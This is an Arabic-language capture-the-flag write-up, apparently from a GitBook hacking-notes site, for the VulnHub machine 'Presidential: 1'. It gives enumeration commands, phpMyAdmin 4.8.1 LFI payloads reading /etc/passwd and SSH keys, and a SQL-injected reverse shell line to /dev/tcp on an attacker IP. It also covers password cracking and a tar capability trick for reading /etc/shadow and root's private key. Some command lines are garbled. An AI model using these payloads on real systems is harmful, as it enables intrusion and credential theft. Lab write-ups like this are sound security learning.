> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md). # Presidential: 1 تقرير VulnHub {% embed url="" %} {% hint style="warning" %} المهارات: * تعداد الويب * تسرب المعلومات * الاستضافة الافتراضية * تعداد النطاقات الفرعية * استغلال phpMyAdmin - LFI إلى RCE (استغلال جلسات PHP ID) * كسر الهاشات (الانتقال بين المستخدمين) * استغلال القدرات (tar cap\_dac\_read\_search+ep) (تصعيد الامتيازات) {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**اكتشاف عنوان IP باستخدام arp-scan:** استخدام أمر arp-scan لاكتشاف عنوان IP الخاص بالجهاز: ```bash arp-scan -I ens33 --localnet --ignoredups ```

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**/ تعداد المنافذ المفتوحة وتصدير النتائج إلى ملف "allPorts" في دليل Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.71.145 -oG allPorts ```

**فحص إصدار المنافذ باستخدام Nmap:**/ استخدم Nmap لفحص إصدارات الخدمات وحفظ المخرجات في ملف "targeted": ```bash nmap -sCV -p80,2082 192.168.71.145 -oN targeted ```

#### فحص الخادم باستخدام Wappalyzer: استخدام Wappalyzer لتحديد أن الخادم يستخدم Apache ولغة البرمجة PHP.

**تحديد نسخة الهدف باستخدام WhatWeb:**/ استخدام WhatWeb لفحص الموقع وتحديد نسخة الجهاز (Ubuntu) وApache:

**تهيئة الاستضافة الافتراضية للبحث عن النطاقات الفرعية:** قبل أن تبدأ البحث عن النطاقات الفرعية، قم بتهيئة الاستضافة الافتراضية للهدف لتوجيه المعلومات التي تريدها بشكل أفضل.

**تحديد المستخدمين المحتملين على الموقع:** استكشف الموقع لتحديد المستخدمين المحتملين. في هذه الحالة، تم تحديد مستخدمين، Kelly Bowen وHugh Morgan، كنقاط اهتمام.

**البحث عن الأدلة باستخدام Gobuster** استخدم Gobuster مع قائمة من الأدلة للعثور على مسارات وصول مخفية. تم تحديد ثلاثة أدلة، أحدها، "cgi-bin"، يمثل خطرًا محتملاً لثغرة [shellshock](/ar/web-vulnerabilities/shellshock-attack.md) هجوم. ```bash gobuster dir -u http://192.168.71.145/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash ```

**البحث عن الملفات ذات الامتداد PHP** أجرِ بحثًا محددًا عن الملفات ذات الامتداد PHP باستخدام Gobuster للعثور على الملفات ذات الصلة. تم اكتشاف ملف "config.php" لا يكشف، عند تفسيره، أي معلومات مرئية. ```bash gobuster dir -u http://192.168.71.145/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash -x php ```

**البحث عن ملفات النسخ الاحتياطي (امتداد bak)** استمر في البحث باستهداف ملفات النسخ الاحتياطي ذات الامتداد ".bak" بشكل خاص. اعثر على ملف ذي صلة قد يحتوي على معلومات حساسة.

**الحصول على بيانات اعتماد قاعدة البيانات:** استخدم المعلومات المستخرجة من ملف النسخ الاحتياطي ".bak" للحصول على بيانات اعتماد قاعدة البيانات.

**محاولة اتصال SSH:** حاول الاتصال باستخدام بيانات الاعتماد التي تم الحصول عليها عبر SSH. فشلت المحاولة بسبب عدم وجود مفتاح خاص.

**التحقق من صلاحية المستخدم "votebox" على SSH** بسبب النسخة القديمة من SSH، تحقّق مما إذا كان المستخدم "votebox" مستخدمًا صالحًا في النظام.

**النطاقات الفرعية المكتشفة باستخدام Gobuster** استخدم Gobuster مع قائمة من النطاقات الفرعية لاستكشاف النطاقات الفرعية المحتملة. ومع ذلك، لم تسفر هذه المحاولة عن نتائج إيجابية. ```bash gobuster vhost -u http://votenow.local/ -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 20 | grep -v "400" ```

**بحث بديل عن النطاقات الفرعية باستخدام قاموس مختلف:** أعد البحث عن النطاقات الفرعية باستخدام قاموس أدلة مختلف.

#### تعرّف على نفسك من ملف ".bak" المكتشف سابقًا.

**تحديد ثغرة NCE في phpMyAdmin** بعد اكتشاف أن إصدار phpMyAdmin ضعيف (4.8.1)، استخدم أداة SearchExploit للعثور على الاستغلالات المطابقة، وتحديد [RCE ](/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md)(تنفيذ الأوامر عن بُعد) ضعيفة.

## ثغرة RCE: استخدم ثغرة NCE عبر حقن السكربت التالي في الرابط لقراءة الملف "/etc/passwd":

```url index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd ```

**محاولة استرجاع المفتاح الخاص SSH لمستخدم admin** حاول الوصول إلى المفتاح الخاص SSH للمستخدم "admin" باستخدام الرابط التالي، لكنك واجهت خطأ: ```url index.php?target=db_sql.php%253f/../../../../../../../../home/admin/.ssh/id_rsa ```

**استكشاف المنافذ الداخلية للشبكة الخاصة** استخدم الرابط التالي لسرد المنافذ الداخلية للخادم من ملف /proc/net/tcp: ```url index.php?target=db_sql.php%253f/../../../../../../../../proc/net/tcp ```

احفظ هذه المنافذ في ملف بيانات لإجراء المزيد من التحليل. ```bash for port in $(cat data | awk '{print $2}' | awk '{print $2}' FS=":" | sort -u); do echo "[+] Port $port -> $((0x$port))"; done ```

**تحديد الدليل الذي يحتوي على جلسات phpMyAdmin** من خلال استكشاف السكربت، حدّد دليلًا يحتوي على جلسات phpMyAdmin: ```url /index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{} ```

## ثغرة phpMyAdmin (حقن الأوامر) **استخدام ملف تعريف ارتباط جلسة phpMyAdmin لحقن الأوامر**

```url index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_38f8d56u6em5usl5fd9s9v3pe66qh7v1 ```

#### هذا الملف يفسّر جميع أوامر الاستعلام. ```sql SELECT 'testing'; ```

**حقن أوامر SQL للحصول على** [**شل عكسي**](https://www.revshells.com/)**:** ```sql select '& /dev/tcp/192.168.71.128/443 0>&1"); ?>'; ``` /*/* تم الوصول إلى الجهاز أخيرًا:/*/*

#### تثبيت الطرفية من أجل تصعيد الامتيازات: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` #### **تقييد الوصول إلى /home/admin واكتشاف كلمة مرور مُجزأة:** انظر إلى تقييد الوصول إلى /home/admin، والذي يتطلب وصولًا مصادَقًا. في phpMyAdmin، لاحظ المستخدم "admin" مع كلمة مرور مُجزأة، مما يشير إلى الحاجة إلى فك تشفير كلمة المرور للوصول إلى نظام الملفات.

## كسر كلمة المرور بالقوة الغاشمة: أنشئ ملف "hash" يحتوي على كلمة المرور المُجزأة واستخدم John the Ripper لمحاولة كسرها باستخدام قائمة كلمات مرور (rockyou.txt في هذا المثال): ```bash john -w:/usr/share/wordlists/rockyou.txt hash ``` **كلمة المرور المعروضة** ```bash john --show hash ```

#### **انتقل إلى `admin` المستخدم** استخدم كلمة المرور المفكوكة لمستخدم admin واتصل بالنظام كمسؤول

## تصعيد الامتيازات (Capabilities) ```bash getcap -r / 2>/dev/null ``` استخدم `getcap` الأمر لاستكشاف قدرات النظام. حدّد إمكانية سرد جميع المستندات في النظام.

/*/* التقاط ملف /etc/shadow باستخدام tar/*/* أنشئ مجلدًا في دليل /tmp وأدرج ملف /etc/shadow باستخدام الأمر التالي: ```bash tarS -cvf shadow.tar /etc/shadow ``` فك ضغط الأرشيف في دليل /tmp. بصفتك منشئه، عدّل الصلاحيات لعرض محتويات /etc/shadow. ```bash tar -xvf /tmp/shadow.tar -C /tmp/ chmod 644 /tmp/etc/shadow ```

**التقاط المفتاح الخاص .ssh باستخدام tar** التقط المفتاح الخاص .ssh للمستخدم root باستخدام الأمر التالي: ```bash tarS -cvf id_rsa.tar /root/.ssh/id_rsa ```

**اتصال SSH باستخدام المفتاح الخاص الملتقط:** استخدم المفتاح الخاص الملتقط لإنشاء اتصال SSH بالمستخدم root على الجهاز المحلي. ```bash ssh -i id_rsa root@localhost -p 2082 ``` **تم الحصول على العلم :)**

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.